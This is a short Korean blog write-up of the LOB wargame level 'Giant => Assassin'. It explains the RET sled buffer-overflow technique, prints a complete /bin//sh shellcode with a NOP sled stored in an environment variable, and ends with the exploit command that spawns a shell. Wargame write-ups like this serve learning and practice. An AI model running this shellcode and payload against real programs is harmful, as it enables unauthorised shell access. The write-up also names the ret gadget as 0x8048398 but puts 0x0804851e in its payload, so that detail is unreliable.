포너블/워게임_LOB
LOB 문제풀기(Giant => Assassin)
DEEPY
2020. 5. 24. 23:52
다음명령어를 통해 가장먼저 assassin.c 파일의 코드를 알아본다.
이 코드를 해석하면 argc의 수는 2이상이여야 하며, argv[1][47]은 \xbf가 되면 안된다. 그러면 RTL을 쓰면 되는 건가?
근데 그것도 아니다... argv[1][47] 은 \x40 이 되서도 안된다. 그러므로 RTL을 쓰는 것도 아닌것 같다.
더구나 버퍼를 44크기까지 모두 0으로 설정까지 한다.
ret명령어는 pop eip, jmp eip 를 의미하는데, 리턴주소에다 ret을 한번 더 실행시키는 명령어의 주소를 입력하게 된다면 ret 바로 뒤에 있는 주소가 리턴 주소의 역할로 하게된다. 이것을 RET sled 공격기법이라고 한다.
GDB를 통해서 ret 명령어의 주소를 알아낸다.
ret 명령어의 주소는 0x8048398이다.
ret 다음에 들어갈 쉘코드를 포함한 환경변수의 주소를 넣어보자
export SH = `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
다음과 같은 명령어로 SH라는 이름으로 쉘코드를 환경변수등록을 하고
위와 같은 파일 이름이 a.c 인 c언어 코드로 SH 환경변수의 주소를 알아낸다.
환경변수의 주소는 0xbffffebc 임을 알수가 있다.
아래와 같이 페이로드를 작성하고, 실행한다.
./assassin "`python -c 'print "a"*44 + "\x1e\x85\x04\x08" + "\xbc\xfe\xff\xbf"'`"
풀렸닿ㅎㅎㅎ